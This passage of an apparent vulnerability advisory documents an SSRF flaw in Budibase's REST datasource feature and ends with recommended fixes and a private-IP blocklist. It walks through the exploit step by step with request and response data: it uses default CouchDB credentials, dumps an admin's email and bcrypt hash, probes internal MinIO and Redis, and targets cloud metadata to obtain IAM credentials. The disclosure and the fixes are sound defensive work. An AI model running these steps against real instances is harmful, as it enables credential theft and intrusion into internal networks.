Details
No warning, no validation error — an internal hostname is accepted without restriction.
5.3 Step 2 — Query CouchDB Version (Confirm Connectivity)
Create and execute a query to GET /:
POST /api/v2/queries/<query_id> HTTP/1.1
Response — Internal CouchDB data returned to the attacker:
{
"data": [{
"couchdb": "Welcome",
"version": "3.3.3",
"git_sha": "40afbcfc7",
"uuid": "9cd97b58e2cef72e730a83247c377d2b",
"features": ["search","access-ready","partitioned",
"pluggable-storage-engines","reshard","scheduler"],
"vendor": {"name": "The Apache Software Foundation"}
}],
"code": 200,
"time": "44ms"
}
5.4 Step 3 — Enumerate All Databases
Query: GET /_all_dbs with CouchDB admin credentials (from .env: budibase:budibase)
{
"data": [
{"value": "_replicator"},
{"value": "_users"},
{"value": "app_dev_3eeb8d7949074250ae62f206ad0b61a5"},
{"value": "app_dev_5135f7f368bc4701a7f163baaf22f1b7"},
{"value": "global-db"},
{"value": "global-info"}
]
}
5.5 Step 4 — Exfiltrate User Credentials and Platform Secrets
Query: GET /global-db/_all_docs?include_docs=true&limit=20
Headers: Authorization: Basic YnVkaWJhc2U6YnVkaWJhc2U= (budibase:budibase)
Response — Full user record with bcrypt hash:
{
"data": [{
"total_rows": 4,
"rows": [
{
"id": "config_settings",
"doc": {
"_id": "config_settings",
"type": "settings",
"config": {
"platformUrl": "http://localhost:10000",
"uniqueTenantId": "23ba9844703049778d75372e720c7169_default"
}
}
},
{
"id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
"doc": {
"_id": "us_09c5f0a89b7f40c19db863e1aaaf90fd",
"email": "[email protected]",
"password": "$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK",
"builder": {"global": true},
"admin": {"global": true},
"tenantId": "default",
"status": "active"
}
},
{
"id": "usage_quota",
"doc": {
"_id": "usage_quota",
"quotaReset": "2026-03-01T00:00:00.000Z",
"usageQuota": {"apps": 2, "users": 1, "creators": 1}
}
}
]
}]
}
Exfiltrated data includes:
- Admin email:
[email protected] - Bcrypt password hash:
$2b$10$uQl69b/H22QnV61qZE2OmuChFAca43yicgorlJBwwNinJwQcOiPbK - Role information:
builder.global: true,admin.global: true - Tenant ID, platform URL, quota information
5.6 Step 5 — Access Other Internal Services
MinIO (Object Storage):
Datasource URL: http://minio-service:9000
Response: {"Code":"BadRequest","Message":"An unsupported API call..."}
Server header: MinIO
Confirms MinIO is reachable. With proper S3 API signatures, bucket contents could be listed and files exfiltrated.
Redis (Port Scanning):
Datasource URL: http://redis-service:6379
Response: "fetch failed" (Redis speaks non-HTTP protocol)
Different error from non-existent host → confirms service discovery capability.
Non-existent service:
Datasource URL: http://nonexistent-service:12345
Response: "fetch failed"
5.7 Service Discovery Matrix
| Target | URL | Response | Service Confirmed |
|--------|-----|----------|-------------------|
| CouchDB | http://couchdb-service:5984/ | {"couchdb":"Welcome","version":"3.3.3"} | Yes — full data access |
| MinIO | http://minio-service:9000/ | XML error with Server: MinIO header | Yes — storage access |
| Redis | http://redis-service:6379/ | socket hang up / fetch failed | Yes — port open |
| Non-existent | http://nonexistent:12345/ | fetch failed (ENOTFOUND) | No — different error |
This differential response enables internal network mapping.
---
6. Attack Scenarios
Scenario A: Builder User Steals All Credentials
- User has
Builderrole for one app - Creates REST datasource →
http://couchdb-service:5984 - Queries
global-dbto get all user records with password hashes - Cracks bcrypt hashes offline or directly modifies user records via CouchDB PUT
Scenario B: Chained with CVE-2026-25040 (Unpatched Privilege Escalation)
- Attacker has
Creatorrole (lower than Builder) - Exploits CVE-2026-25040 to invite themselves as Admin
- Now has Builder access → exploits this SSRF
- Complete instance takeover
Scenario C: Cloud Metadata Exfiltration (AWS/GCP/Azure)
- On cloud-hosted instances, datasource URL:
http://169.254.169.254/latest/meta-data/ - Retrieves IAM credentials, instance metadata
- Pivots to cloud infrastructure
---
7. Affected Code Paths
User Request
│
▼
POST /api/datasources [BUILDER permission]
│ packages/server/src/api/routes/datasource.ts:32
│ → No URL validation on datasource.config.url
▼
POST /api/v2/queries/:queryId [QUERY WRITE permission]
│ packages/server/src/api/routes/query.ts:63
▼
packages/server/src/threads/query.ts
│ → Executes query via REST integration
▼
packages/server/src/integrations/rest.ts
│ Line 684: blacklist.isBlacklisted(url) → returns false (empty list)
│ Line 708: fetch(url, input) → unrestricted request
▼
Internal Service (CouchDB, MinIO, Redis, etc.)
│
▼
Response returned to attacker via query results
---
8. Recommended Fixes
Fix 1 (Critical): Add Default Private IP Blocklist
// packages/backend-core/src/blacklist/blacklist.ts
const DEFAULT_BLOCKED_RANGES = [
"127.0.0.0/8", // localhost
"10.0.0.0/8", // RFC1918
"172.16.0.0/12", // RFC1918
"192.168.0.0/16", // RFC1918
"169.254.0.0/16", // link-local / cloud metadata
"0.0.0.0/8", // current network
"::1/128", // IPv6 localhost
"fc00::/7", // IPv6 private
"fe80::/10", // IPv6 link-local
]
export async function isBlacklisted(address: string): Promise<boolean> {
// Always check against default blocked ranges
// even when BLACKLIST_IPS is not configured
const ips = await resolveToIPs(address)
for (const ip of ips) {
if (isInRange(ip, DEFAULT_BLOCKED_RANGES)) {
return true
}
}
// Then check user-configured blacklist
// ...existing logic...
}
Fix 2 (High): Validate Datasource URLs at Creation Time
// packages/server/src/api/controllers/datasource.ts
async function save(ctx) {
const { config } = ctx.request.body.datasource
if (config?.url) {
if (await blacklist.isBlacklisted(config.url)) {
ctx.throw(400, "Cannot create datasource targeting internal network")
}
}
// ... existing logic
}
Fix 3 (Medium): Add DNS Rebinding Protection
Resolve the target hostname at request time and re-check the resolved IP against the blacklist, preventing DNS rebinding attacks where the first lookup returns a public IP but the actual request resolves to an internal IP.